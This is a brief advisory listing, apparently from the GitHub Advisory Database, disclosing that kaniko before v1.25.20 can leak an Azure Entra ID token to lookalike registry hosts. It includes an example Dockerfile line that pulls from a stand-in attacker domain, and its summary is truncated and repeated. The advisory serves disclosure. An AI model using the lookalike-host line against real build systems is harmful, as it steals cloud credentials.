GitHub Advisory Database2 days ago

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build nee

Published November 5, 2026 · 5:48 PM
Summary kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build nee
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Source: GitHub Advisory Database

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